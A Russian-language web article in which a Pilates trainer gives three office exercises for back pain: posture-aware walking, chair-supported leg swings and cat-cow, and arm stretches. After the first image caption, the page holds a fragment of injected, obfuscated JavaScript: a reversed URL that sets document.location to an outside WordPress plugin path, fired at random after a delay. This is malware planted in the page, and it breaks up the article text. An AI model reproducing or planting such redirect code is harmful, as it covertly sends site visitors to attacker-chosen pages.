Офисная гимнастика: 3 упражнения для спины

Реабилитолог и тренер студии персонального тренинга Pilates PMP Елена Пальчех рассказывает о трёх упражнениях, которые помогут снять боли в спине всем, кто проводит свой рабочий день за столом в офисе.

— По всем физиологическим критериям принятая в прошлом производственная гимнастика была панацеей от многих бед. Две гимнастические десятиминутки в день улучшают здоровье, снимают напряжение, снижают общий уровень стресса, а значит — позитивно влияют и на производительность труда. В наши дни ничто не мешает нам возродить эту традицию и делать простую гимнастику прямо на рабочем месте.

1. Ходите

По лестнице вверх-вниз. На месте. По офису. Это так просто, сделайте это своей привычкой! Когда ходите, обращайте внимание на следующие вещи:

 

  1. разноимённую работу конечностей (правая рука — левая нога, левая рука — правая нога);
  2. лопатки направляйте вниз;
  3. собирайте живот и рёбра к спине;
  4. ставьте стопу правильно, с перекатом с пятки на пальцы ног;
  5. практикуйте широкий шаг;
  6. стремитесь макушкой вверх;
  7. смотрите только вперёд;
  8. делайте выдохи длиннее вдохов — это поможет расслабиться.

Офисная гимнастика: 3 упражнения для спины. Изображение номер 1

fitfrom9toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to5.com

2. Стойте

Стул — не только предмет мебели, на котором вы привыкли сидеть, но и гимнастический снаряд. Прямо посреди офисной работы, когда чувствуете, что телу нужна перезагрузка, встаньте за спинку стула, чтобы сделать несколько простых, но очень полезных упражнений:

 

  1. Сохраняя тело абсолютно вертикальным и не давая ему отклоняться в процессе, делайте махи прямой ногой в стороны, вперёд и назад. Поначалу можете держаться за спинку стула. Вес тела перенесите на пятки, лопатки отводите вниз, живот и рёбра собирайте к позвоночнику. Дышите свободно, без задержек. Со временем усложните это упражнение — делайте махи ногой через стул, но помните о том, что тело должно быть вертикальным.
  2. Это упражнение ещё называют «Добрая-злая кошка». Встаньте за спинкой стула на некотором расстоянии и упритесь в неё прямыми руками. Ноги на ширине таза, прямые в коленях. Тело имеет небольшой наклон вперёд. С выдохом на четыре счёта округляйте спину назад, выталкивая позвоночник вверх и отводя лопатки в стороны друг от друга. Голова опущена к груди. Со вдохом на четыре счёта поднимайте голову и грудину и направляйте их вверх, прогибаясь в груди и опуская лопатки.
  3. Встаньте на некотором расстоянии от стола, чтобы хватило места для наклона туловища вперёд. Вес тела перенесите в пятки. От пяток до таза постройте ровную вертикальную линию. Живот и рёбра направлены к позвоночнику. Наклоняйтесь вперёд, начиная от макушки и закручиваясь вниз, позвонок за позвонком, в самом конце расслаблено повисайте. Руки расслаблены. Поднимайтесь таким же способом, начиная снизу и поднимая голову в самом конце. Выполняйте движения очень медленно, с наслаждением и ощущением, как будто между позвонков появляется свободное пространство и уходит напряжение. Дышите плавно, без задержек.

Офисная гимнастика: 3 упражнения для спины. Изображение номер 2

nytimes.com

3. Руки в стороны

Из предыдущих упражнений мы запомнили и полюбили следующие правила: в положении стоя вес тела направлен в пятки, живот и рёбра собраны к спине, лопатки стремятся вниз, а макушка вверх — рекомендую соблюдать эти правила и в повседневной жизни.

 

Из этого положения прямые руки разводим в стороны. Ладони натягиваем на себя, тыльной стороной к себе. Пальцы рук выпрямляем и растопыриваем. Центрами ладоней «раздвигаем» воображаемые стены и получаем удовольствие от приятного растяжения по всей длине рук. В это время мышцы рук и плечевого пояса становятся более эластичными, отпускают накопившееся напряжение, усиливается приток крови к шее и голове.

Повторяйте упражнения 4—8 раз. И помните: практика рождает совершенство!

КАК ПЕРЕСТАТЬ СУТУЛИТЬСЯ НА РАБОТЕ: 4 ОТЛИЧНЫХ УПРАЖНЕНИЯ

 

4 САМЫЕ РАСПРОСТРАНЁННЫЕ ПРИЧИНЫ БОЛЕЙ В СПИНЕ

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector